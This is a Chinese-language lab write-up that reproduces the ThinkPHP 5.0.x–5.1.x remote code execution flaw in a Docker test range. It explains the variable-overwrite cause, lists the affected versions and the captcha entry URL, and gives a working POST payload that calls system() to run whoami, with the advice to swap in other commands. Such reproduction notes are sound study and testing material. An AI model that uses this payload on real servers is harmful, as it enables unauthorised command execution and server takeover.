一、漏洞原理
实现框架的核心类Requests的method方法实现表单请求类伪装,默认为$_POST[‘_method’]变量,却没有对_method属性进行严格校验,可以通过变量覆盖Requests类的属性,在结合框架特性实现对任意函数的调用实现任意代码执行。
攻击者可向缓存文件内写入PHP代码,导致远程代码执行。
二、影响版本
ThinkPHP 5.0.x ~ 5.0.23
ThinkPHP 5.1.x ~ 5.1.31
ThinkPHP 5.2.0beta1
三、漏洞复现
1.运行此靶场
sudo docker-compose up -d
2.查看启动环境
sudo docker ps
3.访问网页寻找漏洞点
http://192.168.83.136:8080/index.php?s=captcha
在ThinkPHP框架中,http://192.168.83.136:8080/index.php?s=captcha 这个URL通常用于访问一个生成验证码图片的页面。这里的URL参数 s=captcha 指定了要执行的模块和操作,具体来说:
- s 通常代表模块(Module)和操作(Action)的组合。在ThinkPHP中,s 参数通常用于路由到特定的控制器方法。
- captcha 指的是验证码模块或操作。在ThinkPHP中,captcha 通常是一个内置的功能,用于生成和验证验证码。
当你访问这个URL时,服务器会执行与 captcha 相关的代码,生成一个验证码图片,并将其发送到你的浏览器。这个图片通常包含一些随机字符,用于验证用户输入的正确性,以防止自动化脚本或机器人的恶意行为。
在ThinkPHP中,你可以通过配置来定制验证码的样式、字符集、长度等属性。同时,你也可以在表单验证时使用这个验证码来确保用户输入的是正确的验证码
Hackber,POST上传
_method=__construct&filter[]=system&method=get&get[]=whoami
修改system执行的语句
sudo docker-compose down